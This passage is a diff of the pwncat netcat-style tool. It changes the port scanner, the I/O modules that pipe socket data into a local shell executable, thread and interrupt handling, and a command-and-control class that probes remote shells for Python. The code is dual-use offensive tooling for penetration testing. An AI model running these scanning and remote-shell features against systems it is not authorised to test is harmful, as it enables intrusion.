0.1, ) # Append local binds (addr-port) to check against during port scan - self.__local_binds.append(str(laddr + "-" + str(lport))) - succ_conn = True + key = str(laddr + "-" + str(lport)) + self.__local_binds[key] = sock except socket.error: - succ_conn = False + self.__sock.close(sock, "[-] closed: {}:{}".format(addr, port)) + continue + + # [4/7] False positives + # Connect was successful, but against a local bind of one of our + # port scanners, so this is a false positive. + if str(addr + "-" + str(port)) in self.__local_binds: + self.__sock.close(sock, "[-] closed: {}:{}".format(addr, port)) + del self.__local_binds[key] + continue - # [3/5] Banner grabbing + # [5/7] Banner grabbing succ_banner = True banner = None if self.__banner: (succ_banner, banner) = self.__get_banner(sock, addr, port) - # [4/5] Evaluation - if banner is not None and (succ_conn and succ_banner): - if str(addr + "-" + str(port)) not in self.__local_binds: - sock_type = sock.type - yield "[+] {:>5}/{} open ({}): {}".format( - port, - self.__sock.get_type_name(sock_type), - self.__sock.get_family_name(family), - banner, - ) - if banner is None and (succ_conn and succ_banner): - if str(addr + "-" + str(port)) not in self.__local_binds: - sock_type = sock.type - yield "[+] {:>5}/{} open ({})".format( - port, - self.__sock.get_type_name(sock_type), - self.__sock.get_family_name(family), - ) + # [6/7] Evaluation + if banner is not None and succ_banner: + msg = "[+] {:>5}/{} open ({}): {}".format( + port, + self.__sock.get_type_name(sock_type), + self.__sock.get_family_name(family), + banner, + ) + yield self.__enc.encode(msg) + if banner is None and succ_banner: + msg = "[+] {:>5}/{} open ({})".format( + port, self.__sock.get_type_name(sock_type), self.__sock.get_family_name(family), + ) + yield self.__enc.encode(msg) - # [5/5] Cleanup - self.__sock.close(sock, addr + "-" + str(port)) - try: - self.__local_binds.remove(str(addr + "-" + str(port))) - except ValueError: - pass + # [7/7] Cleanup + self.__sock.close(sock, key) + del self.__local_binds[key] def consumer(self, data): - # type: (str) -> None + # type: (bytes) -> None """Print received data to stdout.""" # For issues with flush (when using tail -F or equal) see links below: # https://stackoverflow.com/questions/26692284 # https://docs.python.org/3/library/signal.html#note-on-sigpipe self.__screen_lock.acquire() - print(data) + print(StringEncoder.decode(data)) try: sys.stdout.flush() - except (BrokenPipeError, IOError): + except IOError: # Python flushes standard streams on exit; redirect remaining output - # to devnull to avoid another BrokenPipeError at shutdown + # to devnull to avoid another broken pipe at shutdown devnull = os.open(os.devnull, os.O_WRONLY) os.dup2(devnull, sys.stdout.fileno()) finally: self.__screen_lock.release() def interrupt(self): - # type: (str) -> None - """Not required.""" + # type: () -> None + """Stop function that can be called externally to close this instance.""" + self.log.trace("SOCK-QUIT signal RAISED in IONetworkScanner.interrupt") # type: ignore + self.ssig.raise_sock_quit() + + # NOTE: Closing up to 65535 sockets (single thread) takes very very long + # Se we leave this up to Python itself, once the program exits. + # self.log.trace("SOCK-QUIT-CLEANUP: Closing sockets") # type: ignore + # # Double loop to prevent: Dictionary size changed during iteration + # remove = {} + # for key in self.__local_binds: + # remove[key] = self.__local_binds[key] + # for key in remove: + # self.__sock.close(remove[key], key) # ------------------------------------------------------------------------------------------------- @@ -3077,34 +3401,45 @@

Module pwncat

# Constructor / Destructor # -------------------------------------------------------------------------- def __init__(self, ssig, opts): - # type: (StopSignal, DsIOStdinStdout) -> None + # type: (InterruptHandler, DsIOStdinStdout) -> None """Set specific options for this I/O module. Args: - ssig (StopSignal): StopSignal instance. + ssig (InterruptHandler): InterruptHandler instance. opts (DsIOStdinStdout): IO options. """ super(IOStdinStdout, self).__init__(ssig) self.__opts = opts self.__py3 = sys.version_info >= (3, 0) # type: bool self.__win = os.name != "posix" # posix or nt + self.__stdout_isatty = sys.stdout.isatty() + self.__stdin_isatty = sys.stdin.isatty() + + self.log.debug("STDOUT isatty: %s", self.__stdout_isatty) + self.log.debug("STDIN isatty: %s", self.__stdin_isatty) + self.log.debug("STDIN posix: %s (%s)", str(self.__win), os.name) # -------------------------------------------------------------------------- # Public Functions # -------------------------------------------------------------------------- def producer(self, *args, **kwargs): - # type: (Any, Any) -> Iterator[str] + # type: (Any, Any) -> Iterator[bytes] """Constantly ask for user input. Yields: str: Data read from stdin. """ + # On --send-on-eof we will return all of its contents at once: + lines = [] + # https://stackoverflow.com/questions/1450393/#38670261 # while True: line = sys.stdin.readline() <- reads a whole line (faster) # for line in sys.stdin.readlin(): <- reads one byte at a time while True: - if self.ssig.has_stop(): - self.log.trace("Stop signal acknowledged for reading STDIN-1") # type: ignore + if self.ssig.has_stdin_quit(): + self.log.trace( # type: ignore + "STDIN-QUIT signal ACK in IOStdinStdout.producer [1]" + ) return try: data = self.__read_stdin() @@ -3112,45 +3447,53 @@

Module pwncat

# When using select() with timeout, we don't have any input # at this point and simply continue the loop or quit if # a terminate request has been made by other threads. - if self.ssig.has_stop(): - self.log.trace("Stop signal acknowledged for reading STDIN-2") # type: ignore + if self.ssig.has_stdin_quit(): + self.log.trace( # type: ignore + "STDIN-QUIT signal ACK in IOStdinStdout.producer [2]" + ) return continue if data: self.log.debug("Received %d bytes from STDIN", len(data)) self.log.trace("Received: %s", repr(data)) # type: ignore - yield data + # [send-on-eof] Append data + if self.__opts.send_on_eof: + lines.append(data) + else: + yield data # EOF or <Ctrl>+<d> else: - # DO NOT RETURN HERE BLINDLY, THE UPSTREAM CONNECTION MUST GO FIRST! - if self.ssig.has_stop(): - self.log.trace("Stop signal acknowledged for reading STDIN-3") # type: ignore - return + # [send-on-eof] Dump data before quitting + if lines and self.__opts.send_on_eof: + yield StringEncoder.encode("").join(lines) + self.log.trace("STDIN-EOF signal RAISE in IOStdinStdout.producer") # type: ignore + self.ssig.raise_stdin_eof() def consumer(self, data): - # type: (str) -> None + # type: (bytes) -> None """Print received data to stdout.""" - # For issues with flush (when using tail -F or equal) see links below: - # https://stackoverflow.com/questions/26692284 - # https://docs.python.org/3/library/signal.html#note-on-sigpipe - print(data, end="") + if self.__py3: + sys.stdout.buffer.write(data) + else: + # For issues with flush (when using tail -F or equal) see links below: + # https://stackoverflow.com/questions/26692284 + # https://docs.python.org/3/library/signal.html#note-on-sigpipe + print(data, end="") + try: sys.stdout.flush() - except (BrokenPipeError, IOError): + except IOError: # Python flushes standard streams on exit; redirect remaining output - # to devnull to avoid another BrokenPipeError at shutdown + # to devnull to avoid another broken pipe at shutdown devnull = os.open(os.devnull, os.O_WRONLY) os.dup2(devnull, sys.stdout.fileno()) def interrupt(self): # type: () -> None """Stop function that can be called externally to close this instance.""" - self.log.trace( # type: ignore - "[IOStdinStdout] interrupt() invoked" - ) - # Raise stop signal - # TODO: Check if this is required??? - self.ssig.raise_stop() + # TODO: Does not work on windows as it has blocking read of stdin + self.log.trace("STDIN-QUIT signal RAISE in IOStdinStdout.interrupt") # type: ignore + self.ssig.raise_stdin_quit() # -------------------------------------------------------------------------- # Private Functions @@ -3186,37 +3529,33 @@

Module pwncat

return mode[tty.LFLAG] != (mode[tty.LFLAG] | termios.ICANON) # type: ignore def __read_stdin(self): - # type: () -> str + # type: () -> bytes """Returns input from STDIN.""" - # (Windows) + # [1/3] (Windows) Normal/Raw mode if self.__win: + if self.__py3: + return sys.stdin.buffer.read() # Python 2 on Windows opens sys.stdin in text mode, and # binary data that read from it becomes corrupted on \r\n. # Setting sys.stdin to binary mode fixes that. - if not self.__py3: - if hasattr(os, "O_BINARY"): - msvcrt.setmode( # type: ignore - sys.stdin.fileno(), os.O_BINARY, # pylint: disable=no-member - ) - return sys.stdin.readline() + if hasattr(os, "O_BINARY"): + msvcrt.setmode( # type: ignore + sys.stdin.fileno(), os.O_BINARY, # pylint: disable=no-member + ) + return sys.stdin.read() # type: ignore - # (Linux/Mac) Raw mode + # [2/3] (Linux/Mac) Raw mode if self.__stdin_israw(): self.__set_input_timeout() - return sys.stdin.read(1) - # if self.__py3: - # return sys.stdin.buffer.read(1) # (bytes) - # return sys.stdin.read(1) - # else: - # return sys.stdin.read(1) - - # (Linux/Mac) Normal mode + if self.__py3: + return sys.stdin.buffer.read(1) + return sys.stdin.read(1) # type: ignore + + # [3/3] (Linux/Mac) Normal mode self.__set_input_timeout() - return sys.stdin.readline() - # if self.__py3: - # return sys.stdin.buffer.readline() # (bytes) - # else: - # return sys.stdin.readline() + if self.__py3: + return sys.stdin.buffer.readline() + return sys.stdin.readline() # type: ignore # ------------------------------------------------------------------------------------------------- @@ -3233,19 +3572,25 @@

Module pwncat

# Constructor / Destructor # -------------------------------------------------------------------------- def __init__(self, ssig, opts): - # type: (StopSignal, DsIOCommand) -> None + # type: (InterruptHandler, DsIOCommand) -> None """Set specific options for this I/O module. Args: - ssig (StopSignal): Instance of StopSignal. + ssig (InterruptHandler): Instance of InterruptHandler. opts (DsIOCommand): Custom module options. """ super(IOCommand, self).__init__(ssig) self.__opts = opts self.log.debug("Setting '%s' as executable", self.__opts.executable) - # Define destructor - atexit.register(self.__destruct__) + # Did we already run cleanup + self.__cleaned_up = False + + # If we receive only one byte at a time, the remote end is most likely + # in raw mode and we will also start sending one byte at a time. + # This will be determined in the consumer and action is taken in + # the producer. + self.__remote_is_raw = False # Open executable to wait for commands env = os.environ.copy() @@ -3267,19 +3612,11 @@

Module pwncat

self.log.error("Specified executable '%s' not found", self.__opts.executable) sys.exit(1) - def __destruct__(self): - # type: () -> None - """Destructor.""" - self.log.trace( # type: ignore - "Killing executable: %s with pid %d", self.__opts.executable, self.proc.pid - ) - self.proc.kill() - # -------------------------------------------------------------------------- # Public Functions # -------------------------------------------------------------------------- def producer(self, *args, **kwargs): - # type: (Any, Any) -> Iterator[str] + # type: (Any, Any) -> Iterator[bytes] """Constantly ask for input. Yields: @@ -3287,43 +3624,80 @@

Module pwncat

""" assert self.proc.stdout is not None while True: - if self.ssig.has_stop(): - self.log.trace("Stop signal acknowledged in Command") # type: ignore + if self.ssig.has_command_quit(): + self.log.trace("COMMAND-QUIT signal ACK IOCommand.producer (1)") # type: ignore + self.__cleanup() return self.log.trace("Reading command output") # type: ignore # Byte-wise reading is required to make it work for remote ends being in raw mode # However, the performance of self.proc.stdout.readline() is way faster. # To improve performance we will get rid of all other logging calls here. - data = self.proc.stdout.read(1) + if self.__remote_is_raw: + data = self.proc.stdout.read(1) + else: + data = self.proc.stdout.readline() self.log.trace("Command output: %s", repr(data)) # type: ignore if not data: - self.log.trace("Command output was empty. Exiting loop.") # type: ignore - break - yield self.__opts.enc.decode(data) + if self.ssig.has_command_quit(): + self.log.trace("COMMAND-QUIT signal ACK IOCommand.producer (2)") # type: ignore + self.__cleanup() + return + # This usually happens when sending a semicolon only to /bin/[ba]sh + # which then responds with: /bin/sh: line 5: syntax error near unexpected token `;' + # Afterwards the shell is corrupt and gone so we will restart it here. + self.log.error("COMMAND-EOF restarting: %s", self.__opts.executable) + self.proc = Popen( + self.__opts.executable, + stdin=PIPE, + stdout=PIPE, + stderr=STDOUT, + bufsize=self.__opts.bufsize, + shell=False, + env=os.environ.copy(), + ) + continue + yield data def consumer(self, data): - # type: (str) -> None + # type: (bytes) -> None """Send data received to stdin (command input). Args: data (str): Command to execute. """ + # If we only receive one byte at a time, also tell the consumer + # to send one byte at a time immediately and not to wait for a full line. + if len(data) == 1: + self.__remote_is_raw = True + else: + self.__remote_is_raw = False + assert self.proc.stdin is not None - byte = self.__opts.enc.encode(data) - self.log.trace("Appending to stdin: %s", repr(byte)) # type: ignore - self.proc.stdin.write(byte) - self.proc.stdin.flush() + self.log.trace("Appending to stdin: %s", repr(data)) # type: ignore + try: + self.proc.stdin.write(data) + self.proc.stdin.flush() + except BrokenPipeError: + pass def interrupt(self): # type: () -> None """Stop function that can be called externally to close this instance.""" - self.log.trace( # type: ignore - "[IOCommand] subprocess.kill() was raised by input_unterrupter()" - ) - self.proc.kill() - # Raise stop signal - # TODO: Check if this is required??? - self.ssig.raise_stop() + self.log.trace("COMMAND-QUIT signal RAISED IOCommand.interrupt") # type: ignore + self.ssig.raise_command_quit() + self.__cleanup() + + def __cleanup(self): + # type: () -> None + """Cleanup function.""" + if not self.__cleaned_up: + self.log.trace( # type: ignore + "COMMAND-QUIT-CLEANUP: killing executable: %s with pid %d", + self.__opts.executable, + self.proc.pid, + ) + self.proc.kill() + self.__cleaned_up = True # ################################################################################################# @@ -3343,18 +3717,18 @@

Module pwncat

The same instance of this class will be available to your send and receive scripts that allow you to exchange data or manipulate themselves. You even have access to the currently used instance of the networking class to manipulate the active socket. - As well as to the logger and StopSignal instances. + As well as to the logger and InterruptHandler instances. """ @property def messages(self): - # type: () -> Dict[str, List[str]] - """`Dict[str, List[str]]`: Stores sent and received messages by its thread name.""" + # type: () -> Dict[str, List[bytes]] + """`Dict[str, List[bytes]]`: Stores sent and received messages by its thread name.""" return self.__messages @messages.setter def messages(self, value): - # type: (Dict[str, List[str]]) -> None + # type: (Dict[str, List[bytes]]) -> None self.__messages = value @property @@ -3370,8 +3744,8 @@

Module pwncat

@property def ssig(self): - # type: () -> StopSignal - """`StopSignal`: Instance of Logging.logger class.""" + # type: () -> InterruptHandler + """`InterruptHandler`: Instance of InterruptHandler class.""" return self.__ssig @property @@ -3387,11 +3761,11 @@

Module pwncat

return self.__log def __init__(self, ssig, net): - # type: (StopSignal, List[IONetwork]) -> None + # type: (InterruptHandler, List[IONetwork]) -> None """Instantiate the PSE class. Args: - ssig (StopSignal): Instance of the StopSignal class to force a shutdown. + ssig (InterruptHandler): Instance InterruptHandler. net (IONetwork): Instance of the current network class to manipulate the socket. """ self.__messages = {} @@ -3410,7 +3784,158 @@

Module pwncat

# ################################################################################################# # ------------------------------------------------------------------------------------------------- -# [8/11 IO RUNNER]: (1/1) Runner +# [8/11 IO RUNNER]: (1/2) InterruptHandler +# ------------------------------------------------------------------------------------------------- +class InterruptHandler(object): + """Pwncat interrupt handler. + + It allows all threads to raise various signal on certain actions, + as well as to ask the Interrupt Handler what to do. + The Interrupt handler will internally decide (based on pwncat's + command line arguments) what to do. + """ + + # -------------------------------------------------------------------------- + # Constructor + # -------------------------------------------------------------------------- + def __init__(self, keep_open, no_shutdown): + # type: (bool, bool) -> None + """Instantiate InterruptHandler. + + Args: + keep_open (bool): `--keep-open` command line argument. + no_shutdown (bool): `--no-shutdown` command line argument. + """ + self.__log = logging.getLogger(__name__) # type: logging.Logger + self.__keep_open = keep_open + self.__no_shutdown = no_shutdown + + # Shutdown signals + self.__terminate = False + self.__sock_send_eof = False + self.__sock_quit = False + self.__stdin_quit = False + self.__command_quit = False + + # Producers have received EOF + self.__sock_eof = False + self.__stdin_eof = False + self.__command_eof = False + + def handler(signum, frame): # type: ignore # pylint: disable=unused-argument + self.__log.trace("Ctrl+c caught.") # type: ignore + # logging.shutdown() + self.raise_terminate() + + # Handle Ctrl+C + # signal.signal(signal.SIGTERM, handler) + signal.signal(signal.SIGINT, handler) + + # -------------------------------------------------------------------------- + # Ask for action + # -------------------------------------------------------------------------- + def has_terminate(self): + # type: () -> bool + """`bool`: Switch to be checked if pwncat should be terminated.""" + return self.__terminate + + def has_sock_send_eof(self): + # type: () -> bool + """`bool`: Switch to be checked if the socket connection should be closed for sending.""" + return self.__sock_send_eof + + def has_sock_quit(self): + # type: () -> bool + """`bool`: Switch to be checked if the socket connection should be closed.""" + return self.__sock_quit + + def has_stdin_quit(self): + # type: () -> bool + """`bool`: Switch to be checked if the STDIN should be closed.""" + return self.__stdin_quit + + def has_command_quit(self): + # type: () -> bool + """`bool`: Switch to be checked if the command should be closed.""" + return self.__command_quit + + # -------------------------------------------------------------------------- + # Raise Termination signal + # -------------------------------------------------------------------------- + def raise_terminate(self): + # type: () -> None + """Signal the application that Socket should be quit.""" + self.__log.trace("SIGNAL TERMINATE raised") # type: ignore + self.__terminate = True + self.__sock_quit = True + self.__stdin_quit = True + self.__command_quit = True + + # -------------------------------------------------------------------------- + # Raise Socket signals + # -------------------------------------------------------------------------- + def raise_sock_send_eof(self): + # type: () -> None + """Signal the application that Socket should be closed for sending.""" + # self.__log.trace("SIGNAL SOCK-CLOSE-SEND raised") # type: ignore + self.__sock_send_eof = True + + def raise_sock_eof(self): + # type: () -> None + """Signal the application that Socket has received EOF.""" + # self.__log.trace("SIGNAL SOCK-EOF raised") # type: ignore + self.__sock_eof = True + self.raise_sock_quit() + + def raise_sock_quit(self): + # type: () -> None + """Signal the application that Socket should be quit.""" + # self.__log.trace("SIGNAL SOCK-QUIT raised") # type: ignore + self.__sock_quit = True + self.raise_terminate() + + # -------------------------------------------------------------------------- + # Raise STDIN signals + # -------------------------------------------------------------------------- + def raise_stdin_eof(self): + # type: () -> None + """Signal the application that STDIN has received EOF.""" + # self.__log.trace("SIGNAL STDIN-EOF raised") # type: ignore + self.__stdin_eof = True + self.raise_stdin_quit() + + def raise_stdin_quit(self): + # type: () -> None + """Signal the application that STDIN should be quit.""" + # self.__log.trace("SIGNAL STDIN-QUIT raised") # type: ignore + self.__stdin_quit = True + # If --no-shutdown or -keep-open is specified + # pwncat will not invoke shutdown on a socket after seeing EOF on stdin + if not (self.__no_shutdown or self.__keep_open): + # No more data from stdin, we can tell the remote side we are done + # by closing the socket for sending (they will receive an EOF). + self.raise_sock_send_eof() + + # -------------------------------------------------------------------------- + # Raise COMMAND signals + # -------------------------------------------------------------------------- + def raise_command_eof(self): + # type: () -> None + """Signal the application that Command has received EOF.""" + # self.__log.trace("SIGNAL COMMAND-EOF raised") # type: ignore + self.__command_eof = True + self.raise_command_quit() + + def raise_command_quit(self): + # type: () -> None + """Signal the application that Command should be quit.""" + # self.__log.trace("SIGNAL COMMAND-QUIT raised") # type: ignore + self.__command_quit = True + self.raise_terminate() + + +# ------------------------------------------------------------------------------------------------- +# [8/11 IO RUNNER]: (2/2) Runner # ------------------------------------------------------------------------------------------------- class Runner(object): """Runner class that takes care about putting everything into threads.""" @@ -3418,11 +3943,13 @@

Module pwncat

# -------------------------------------------------------------------------- # Constructor / Destructor # -------------------------------------------------------------------------- - def __init__(self, pse): - # type: (PSEStore) -> None + def __init__(self, ssig, fast_quit, pse): + # type: (InterruptHandler, bool, PSEStore) -> None """Create a new Runner object. Args: + ssig (InterruptHandler): Instance of InterruptHandler. + fast_quit (boo): On `True` do not join threads upon exit, just raise terminate and exit. pse (PSEStore): Pwncat Scripting Engine store. """ self.log = logging.getLogger(__name__) @@ -3444,6 +3971,8 @@

Module pwncat

# {"name": "<thread>"} self.__threads = {} # type: Dict[str, threading.Thread] + self.__ssig = ssig + self.__fast_quit = fast_quit self.__pse = pse # -------------------------------------------------------------------------- @@ -3486,7 +4015,7 @@

Module pwncat

def run_action( name, # type: str producer, # type: DsCallableProducer - consumer, # type: Callable[[str], None] + consumer, # type: Callable[[bytes], None] transformers, # type: List[Transform] code, # type: Optional[Union[str, bytes, CodeType]] ): @@ -3535,23 +4064,25 @@

Module pwncat

consumer(data) self.log.trace("[%s] Producer Stop", name) # type: ignore - def run_timer(name, action, intvl, ssig, args, **kwargs): - # type: (str, Callable[..., None], int, StopSignal, Any, Any) -> None + def run_timer(name, action, intvl, ssig, *args, **kwargs): + # type: (str, Callable[..., None], int, InterruptHandler, Any, Any) -> None """Timer run function to be thrown into a thread (Execs periodic tasks). Args: name (str): Name for logging output action (function): Function to be called in a given intervall intvl (float): Intervall at which the action function will be called - ssig (StopSignal): Providing has_stop() and raise_stop() + ssig (InterruptHandler): Instance of InterruptHandler args (*args): *args for action func kwargs (**kwargs): **kwargs for action func """ self.log.trace("[%s] Timer Start (exec every %f sec)", name, intvl) # type: ignore time_last = int(time.time()) while True: - if ssig.has_stop(): - self.log.trace("Stop signal acknowledged for timer %s", name) # type: ignore + if ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for timer action [%s]", name + ) return time_now = int(time.time()) if time_now > time_last + intvl: @@ -3560,8 +4091,8 @@

Module pwncat

time_last = time_now # Reset previous time time.sleep(0.1) - def run_repeater(name, action, repeat, pause, ssig, args, **kwargs): - # type: (str, Callable[..., None], int, float, StopSignal, Any, Any) -> None + def run_repeater(name, action, repeat, pause, ssig, *args, **kwargs): + # type: (str, Callable[..., None], int, float, InterruptHandler, Any, Any) -> None """Repeater run function to be thrown into a thread (Execs periodic tasks). Args: @@ -3569,23 +4100,30 @@

Module pwncat

action (function): Function to be called repeat (int): Repeat the function so many times before quitting pause (float): Pause between repeated calls - ssig (StopSignal): Providing has_stop() and raise_stop() + ssig (InterruptHandler): Instance of InterruptHandler args (*args): *args for action func kwargs (**kwargs): **kwargs for action func """ cycles = 1 self.log.trace("Repeater Start (%d/%d)", cycles, repeat) # type: ignore while cycles <= repeat: - if ssig.has_stop(): - self.log.trace("Stop signal acknowledged for timer %s", name) # type: ignore + if ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for repeater action [%s]", name + ) return self.log.debug("Executing repeated function (%d/%d)", cycles, repeat) action(*args, **kwargs) cycles += 1 time.sleep(pause) - # Start available action in a thread + # [1/3] Start available action in a thread for key in self.__actions: + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for Runner.run [1]: [%s]", key + ) + break # Create Thread object thread = threading.Thread( target=run_action, @@ -3598,17 +4136,35 @@

Module pwncat

self.__actions[key].code, ), ) - thread.daemon = False + # Daemon threads are easier to kill + thread.daemon = self.__actions[key].daemon_thread + # Add delay if threads cannot be started + delay = 0.0 while True: + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for Runner.run [2]: [%s]", key + ) + break try: + # Do not call any logging functions in here as it will + # cause a deadlock for Python2 + # Start and break the loop upon success to go to the next thread to start thread.start() break except (RuntimeError, Exception): # pylint: disable=broad-except - time.sleep(0.1) + delay += 0.1 + time.sleep(delay) # Give the system some time to release open fd's self.__threads[key] = thread - # Start available timers in a thread + + # [2/3] Start available timers in a thread for key in self.__timers: + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for Runner.run [2]: [%s]", key + ) + break # Create Thread object thread = threading.Thread( target=run_timer, @@ -3617,15 +4173,21 @@

Module pwncat

key, self.__timers[key].action, self.__timers[key].intvl, - self.__timers[key].signal, - self.__timers[key].args, - ), + self.__timers[key].ssig, + ) + + self.__timers[key].args, kwargs=self.__timers[key].kwargs, ) thread.daemon = False thread.start() - # Start available repeaters in a thread + + # [3/3] Start available repeaters in a thread for key in self.__repeaters: + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for Runner.run [3]: [%s]", key + ) + break # Create Thread object thread = threading.Thread( target=run_repeater, @@ -3635,56 +4197,72 @@

Module pwncat

self.__repeaters[key].action, self.__repeaters[key].repeat, self.__repeaters[key].pause, - self.__repeaters[key].signal, - self.__repeaters[key].args, - ), + self.__repeaters[key].ssig, + ) + + self.__repeaters[key].args, kwargs=self.__repeaters[key].kwargs, ) thread.daemon = False thread.start() - def check_stop(force): - # type: (int) -> bool + def check_stop(): + # type: () -> bool """Stop threads.""" - for key in self.__threads: - if not self.__threads[key].is_alive() or force: - # TODO: How are we gonna call the stop signal now? - # # [1/3] Inform all threads (inside) about a stop signal. - # # All threads with non-blocking funcs will be able to stop themselves - # self.log.trace( # type: ignore - # "Raise stop signal: StopSignal.stop() for thread [%s]", - # self.__threads[key].getName(), - # ) - # self.__actions[key].signal.raise_stop() - # [2/3] Call external interrupters - # These will shutdown all blocking functions inside a thread, - # so that they are actually able to join - for interrupt in self.__actions[key].interrupts: - self.log.trace( # type: ignore - "Call INTERRUPT: %s.%s() for %s", - getattr(interrupt, "__self__").__class__.__name__, - interrupt.__name__, - self.__threads[key].getName(), - ) - interrupt() - # [3/3] All blocking events inside the threads are gone, now join them - self.log.trace("Joining %s", self.__threads[key].getName()) # type: ignore - self.__threads[key].join(timeout=0.1) - # If all threads have died or force is requested, then exit - if not all([self.__threads[key].is_alive() for key in self.__threads]) or force: + # [1/2] Fast shutdown + # For Python < 3.3 we are unable to detect Ctrl+c signal during thread.join() + # in a fast loop. Also for port-scan we will have thousands of threads that need + # to be joined and the signal handler is unable to abort the whole program during that + # time. Outcome is it would take a few minutes to abort during port scan. + # The fix is to use a "faster" method to kill the threads. + # 1. The port scanner threads need to be started in daemon mode + # 2. the fast_quit param to Runner() must be set to True + if self.__fast_quit: + if self.__ssig.has_terminate(): + self.log.trace("Fast quit - shutting down.") # type: ignore + return True + + # [2/2] Normal shutdown for non-daemon threads + else: + for key in self.__threads: + if not self.__threads[key].is_alive() or self.__ssig.has_terminate(): + for interrupt in self.__actions[key].interrupts: + # [1/3] Call external interrupters + self.log.trace( # type: ignore + "Call INTERRUPT: %s.%s() for %s", + getattr(interrupt, "__self__").__class__.__name__, + interrupt.__name__, + self.__threads[key].getName(), + ) + interrupt() + # [2/3] All blocking events inside the threads are gone, now join them + try: + self.log.trace( # type: ignore + "Joining %s", self.__threads[key].getName() + ) + # NOTE: The thread.join() operating will also block the signal + # handler if we try to join too many threads at once. + self.__threads[key].join() + self.log.trace( # type: ignore + "Joined %s", self.__threads[key].getName() + ) + except RuntimeError: + pass + # If all threads are done, also stop + if all([not self.__threads[key].is_alive() for key in self.__threads]): + self.log.trace("All threads dead - shutting down.") # type: ignore return True return False - try: - while True: - if check_stop(False): - sys.exit(0) - # Need a timeout to not skyrocket the CPU - time.sleep(0.1) - except KeyboardInterrupt: - print() - check_stop(True) - sys.exit(1) + while True: + if check_stop(): + sys.exit(0) + # Need a timeout to not skyrocket the CPU + if sys.version_info < (3, 3): + # Signal Handler in Python < 3.3 is broken and might not catch on + # a too small timeout invervall + time.sleep(0.5) + else: + time.sleep(0.01) # ################################################################################################# @@ -3696,13 +4274,19 @@

Module pwncat

# ################################################################################################# # ------------------------------------------------------------------------------------------------- -# [9/11 Command & Control]: (1/2) CNC +# [9/11 Command & Control]: (1/3) CNC Exception classes +# ------------------------------------------------------------------------------------------------- +class CNCPythonNotFound(BaseException): + """CNC Exception handler.""" + + +# ------------------------------------------------------------------------------------------------- +# [9/11 Command & Control]: (2/3) CNC # ------------------------------------------------------------------------------------------------- class CNC(object): """Command and Control base class.""" __PYTHON_PATHS = [ - "/bin", "/usr/bin", "/usr/local/bin", "/usr/local/python/bin", @@ -3713,6 +4297,7 @@

Module pwncat

"/usr/local/python3.6/bin", "/usr/local/python3.7/bin", "/usr/local/python3.8/bin", + "/bin", "/opt/bin", "/opt/python/bin", "/opt/python2/bin", @@ -3724,11 +4309,11 @@

Module pwncat

"/opt/python3.8/bin", ] - __PYTHON_VERSIONS = [ + __PYTHON_NAMES = [ + "python3", "python", "python2", "python2.7", - "python3", "python3.5", "python3.6", "python3.7", @@ -3741,42 +4326,61 @@

Module pwncat

# Properties # -------------------------------------------------------------------------- @property - def python(self): + def remote_python(self): # type: () -> str """Discovered absolute Python remote path.""" - return self.__python + return self.__remote_python @property - def py3(self): + def remote_py3(self): # type: () -> bool """Is remote version Python3? Else it is Python2.""" - return self.__py3 + return self.__remote_py3 # -------------------------------------------------------------------------- # Constructor # -------------------------------------------------------------------------- - def __init__(self, enc, fsend, frecv): - # type: (StringEncoder, Callable[[str], None], Callable[[], Iterator[str]]) -> None + def __init__(self, network): + # type: (IONetwork) -> None """Instantiate Command and Control class. Args: - enc (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat). - fsend (func): Socket send function. - frcev (func): Socket receive generator function. + network (IONetwork): Instance of IONetwork Raises: - FileNotFoundError: if remote Python binary path is not found. + CNCPythonNotFound: if remote Python binary path is not found. """ - self.__enc = enc - self.__fsend = fsend - self.__frecv = frecv + self.__net = network + self.__log = logging.getLogger(__name__) + self.__py3 = sys.version_info >= (3, 0) # type: bool + + # Along with the response the server might prefix/suffix data + # such as a PS1 prompt (which might be send first or last with a newline) + self.__remote_prefix = [] # type: List[bytes] + self.__remote_suffix = [] # type: List[bytes] + + # Receive timeout value will be adjusted dynamically depending on the + # speed of the server. We'll start high to allow for slow servers. + self.__recv_timeout = 0.3 + self.__recv_rounds = 5 + self.__recv_times = [] # type: List[float] + # [1/3] Check if there is data to be received first (e.g.: greeting) + self.print_info("Checking if remote sends greeting...") + greeting = self.send_recv(None, False, False) + if greeting: + self.print_raw(b"\n".join(greeting), True) + + # [2/3] Check if the remote sends a prefix with every reply + self.__set_remote_prefix() + + # [3/3] Find potential Python versions if not self.__set_remote_python_path(): self.print_info("No Python has been found. Aborting and handing over to current shell.") - raise FileNotFoundError() + raise CNCPythonNotFound() # -------------------------------------------------------------------------- - # Public Functions + # Print Functions # -------------------------------------------------------------------------- def print_info(self, message=None, newline=True, erase=False): # type: (Optional[str], bool, bool) -> None @@ -3800,15 +4404,261 @@

Module pwncat

print("{}{}".format(prefix, message), end=end) sys.stdout.flush() - def remote_command(self, command): - # type: (str) -> None - """Run remote command with correct linefeeds. + def print_raw(self, message, newline): + # type: (bytes, bool) -> None + """Print a message to the local screen without color/prefix. + + Args: + message (bytes): The message to print. + newline (bool): Add a newline? + """ + if self.__py3: + end = b"\n" if newline else b"" + sys.stdout.buffer.write(b"".join([message, end])) + else: + end = "\n" if newline else "" # type: ignore + print(message, end=end) # type: ignore + + # For issues with flush (when using tail -F or equal) see links below: + # https://stackoverflow.com/questions/26692284 + # https://docs.python.org/3/library/signal.html#note-on-sigpipe + try: + sys.stdout.flush() + except IOError: + # Python flushes standard streams on exit; redirect remaining output + # to devnull to avoid another broken pipe at shutdown + devnull = os.open(os.devnull, os.O_WRONLY) + os.dup2(devnull, sys.stdout.fileno()) + + # -------------------------------------------------------------------------- + # Network Functions + # -------------------------------------------------------------------------- + def send(self, data): + # type: (bytes) -> int + """Send data through a connected (TCP) or unconnected (UDP) socket. + + Args: + data (bytes): The data to send. + + Returns: + int: Returns total bytes sent. + + Raises: + socket.error: Except here when unconnected or connection was forcibly closed. + """ + return self.__net.net.send(data) + + def flush_receive(self): + # type: () -> List[bytes] + """Try to reveive everything which is currently being sent from remote. + + Returns: + List[bytes]: Returns a list of bytes of received data. + + 